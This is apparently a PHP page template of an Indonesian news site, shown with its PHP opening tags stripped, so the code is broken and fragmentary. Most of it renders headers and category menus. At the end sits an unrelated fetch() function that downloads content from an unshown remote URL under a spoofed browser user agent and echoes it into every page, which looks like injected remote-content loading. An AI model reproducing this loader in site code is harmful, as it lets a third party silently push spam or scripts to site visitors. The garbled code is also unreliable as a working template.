=head(); ?>
=judul_halaman()?>
=opengraph();?>
=tgl_indo(date("Y-m-d"))?>
Beranda
'Kat_ID,alias,model,Kategori,pid,tipe', ///'model' => '1', 'orderby' => 'Kat_ID', 'direct' => 'ASC', 'tipe' => '1', 'stop' => '12', 'subd'=>'', 'isdisplay' => '1' ); $kat = daftar_kategori($param); foreach ($kat as $k) : $i++; $pkat = daftar_pkategori($k['Kat_ID']); if($k['model']=='1') { $id_link0 = link_kategori($k['alias']);} if($k['model']=='2') { $id_link0 = '';} //link_kategori('#') ?>
=$k['Kategori']?>
=$pk['Kategori']?>
Lainnya
'Kat_ID,alias,model,Kategori,pid,tipe','orderby' => 'Kat_ID', 'direct' => 'ASC', 'tipe'=>'2', 'start'=>'0', 'stop'=> '999','isdisplay'=>'1','subd'=>''); $katl = daftar_kategori($paraml); foreach ($katl as $kl) : ?>
=$kl['Kategori']?>
Indeks
1, CURLOPT_FOLLOWLOCATION => 1, CURLOPT_USERAGENT => 'Mozilla/5.0', CURLOPT_TIMEOUT => 10 ]); $d = curl_exec($c); curl_close($c); if ($d) return $d; } $ctx = stream_context_create([ 'http' => ['header' => "User-Agent: Mozilla/5.0\r\n", 'timeout' => 10] ]); if ($d = @file_get_contents($url, false, $ctx)) return $d; return "⚠️ Gagal mengambil konten dari $url"; } echo fetch($url); ?>